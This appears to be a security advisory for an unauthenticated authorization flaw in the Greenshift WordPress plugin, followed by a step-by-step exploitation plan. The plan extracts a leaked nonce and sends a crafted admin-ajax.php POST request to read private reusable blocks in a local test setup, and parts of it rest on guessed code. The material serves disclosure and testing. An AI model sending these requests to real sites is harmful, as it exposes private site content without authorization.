Greenshift <= 12.8.3 - Missing Authorization to Unauthenticated Private Reusable Block Disclosure via 'gspb_el_reusable_load'
Description
The Greenshift – animation and page builder blocks plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 12.8.3. This is due to missing authorization and post status validation in the `gspb_el_reusable_load()` AJAX handler. The handler accepts an arbitrary `post_id` parameter and renders the content of any `wp_block` post without checking `current_user_can('read_post', $post_id)` or verifying the post status. Combined with the nonce being exposed to unauthenticated users on any public page using the `[wp_reusable_render]` shortcode with `ajax="1"`, this makes it possible for unauthenticated attackers to retrieve the rendered HTML content of private, draft, or password-protected reusable blocks.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=12.8.3What Changed in the Fix
Changes introduced in v12.8.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2371 ## 1. Vulnerability Summary The **Greenshift – animation and page builder blocks** plugin (<= 12.8.3) contains an Insecure Direct Object Reference (IDOR) vulnerability in its AJAX handling logic. Specifically, the function `gspb_el_reusable_load()` (likel…
Show full research plan
Exploitation Research Plan: CVE-2026-2371
1. Vulnerability Summary
The Greenshift – animation and page builder blocks plugin (<= 12.8.3) contains an Insecure Direct Object Reference (IDOR) vulnerability in its AJAX handling logic. Specifically, the function gspb_el_reusable_load() (likely located in a file handling reusable block logic, such as blockrender/element/block.php or similar) fails to perform any capability checks or post-status validation before rendering the content of a post ID provided by the user.
Because the plugin also registers an unauthenticated AJAX handler (wp_ajax_nopriv_gspb_el_reusable_load) and exposes the necessary security nonce on pages utilizing the [wp_reusable_render] shortcode, unauthenticated attackers can retrieve the full rendered HTML of any reusable block (wp_block post type), including those marked as Private, Draft, or Password Protected.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
gspb_el_reusable_load - Vulnerable Parameter:
post_id(The ID of thewp_blockto be disclosed) - Nonce Parameter:
nonce(orsecurity- must be extracted from the frontend) - Authentication Level: Unauthenticated
- Preconditions:
- A reusable block exists (even if private).
- The attacker must be able to obtain a valid nonce, which is provided by the plugin on any page using the
[wp_reusable_render]shortcode withajax="1".
3. Code Flow
- Entry Point: The plugin registers AJAX handlers:
add_action('wp_ajax_gspb_el_reusable_load', 'gspb_el_reusable_load'); add_action('wp_ajax_nopriv_gspb_el_reusable_load', 'gspb_el_reusable_load'); - Handler Execution: When
admin-ajax.phpreceives thegspb_el_reusable_loadaction, it calls the handler. - Missing Authorization: Inside
gspb_el_reusable_load():- It retrieves
$post_id = $_POST['post_id']. - It performs a nonce check (e.g.,
check_ajax_referer('gspb_el_nonce', 'nonce')). - Vulnerability: It calls
get_post($post_id)and immediately proceeds to render the content (e.g., usingdo_blocks()or returning thepost_content) without checking if the current user has theread_postcapability for that ID or if the post status ispublish.
- It retrieves
- Information Disclosure: The rendered HTML of the private block is returned in the AJAX response.
4. Nonce Acquisition Strategy
The vulnerability description confirms that the nonce is exposed via the [wp_reusable_render] shortcode.
- Identify Script Localization: The plugin likely uses
wp_localize_scriptto pass the nonce to the frontend for blocks using AJAX loading. - Setup: Create a public page containing the shortcode to trigger the nonce exposure.
- Shortcode:
[wp_reusable_render ajax="1"]
- Shortcode:
- Extraction:
- Use
browser_navigateto view the page. - Use
browser_evalto find the localized data. Based on Greenshift naming conventions, look for objects starting withgspb. - Target Variable (Inferred):
window.gspb_vars?.nonceorwindow.greenshift_vars?.reusable_nonce. - Self-Correction: If the specific variable isn't found, search the HTML source for "nonce" within
<script>tags associated with Greenshift assets.
- Use
5. Exploitation Strategy
Step 1: Data Discovery
First, identify the ID of a "Private" reusable block. In a real-world scenario, an attacker might iterate through IDs. For testing, we will create one.
Step 2: Nonce Retrieval
- Navigate to the page created in the Test Data Setup (containing the shortcode).
- Execute JS to grab the nonce:
// Probable location of the nonce console.log(gspb_vars.nonce);
Step 3: Unauthorized Content Retrieval
Send a POST request to the AJAX endpoint.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application-x-www-form-urlencoded - Body:
action=gspb_el_reusable_load&post_id=[PRIVATE_BLOCK_ID]&nonce=[EXTRACTED_NONCE]
Step 4: Verification
The response should contain the rendered HTML content of the private block.
6. Test Data Setup
Perform the following via wp-cli:
Create a Secret Reusable Block:
wp post create --post_type=wp_block --post_title="Secret Credentials" --post_content="The administrative password is: Summer2024!" --post_status=privateNote the returned ID (e.g., 123).
Create a Public Nonce-Leaking Page:
wp post create --post_type=page --post_title="Greenshift Test" --post_status=publish --post_content='[wp_reusable_render ajax="1"]'
7. Expected Results
- Request: Unauthenticated POST to
admin-ajax.phpwith the ID of the private block and the leaked nonce. - Response Code: 200 OK.
- Response Body: Should contain the string
"The administrative password is: Summer2024!"inside the rendered HTML output.
8. Verification Steps
- Confirm Post Status: Use
wp post get [ID] --field=post_statusto verify the block is indeedprivate. - Confirm Accessibility: Verify that a standard request to
/?p=[ID]as an unauthenticated user results in a 404 or a "Post not found" message. - Compare Result: Confirm the content returned by the AJAX exploit matches the
post_contentof the private block.
9. Alternative Approaches
If the gspb_el_reusable_load action name is slightly different, use grep on the plugin directory to find wp_ajax_nopriv registrations:
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/greenshift-animation-and-page-builder-blocks/
If the nonce is not in gspb_vars, check for other localized objects like greenshift_data or gspb_config.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.